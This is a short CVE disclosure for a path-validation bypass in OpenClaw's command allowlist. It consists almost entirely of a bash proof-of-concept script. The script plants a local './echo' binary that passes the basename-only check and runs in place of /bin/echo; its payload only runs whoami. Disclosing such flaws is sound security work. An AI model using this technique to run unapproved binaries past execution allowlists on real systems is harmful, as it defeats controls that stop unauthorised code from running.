CVE-2026-32016 OpenClaw路径验证绕过漏洞

#!/bin/bash # PoC for CVE-2026-32016: OpenClaw Path Validation Bypass # Description: Create a malicious binary named 'echo' in the local directory. # When OpenClaw checks the allowlist, it only verifies the basename 'echo', # allowing the local ./echo to execute instead of /bin/echo. echo "[*] Creating malicious binary './echo'..." # Create a malicious payload that executes a shell or commands cat > ./echo << 'EOF' #!/bin/bash echo "[!] Exploited CVE-2026-32016: Executing unauthorized binary!" whoami EOF # Make the file executable chmod +x ./echo echo "[*] Attempting to trigger the vulnerability by executing './echo'..." # In a real scenario, this would be triggered by a user action or script # that OpenClaw monitors. The system approves it based on the basename match. ./echo echo "[*] Cleanup: removing malicious ./echo" rm ./echo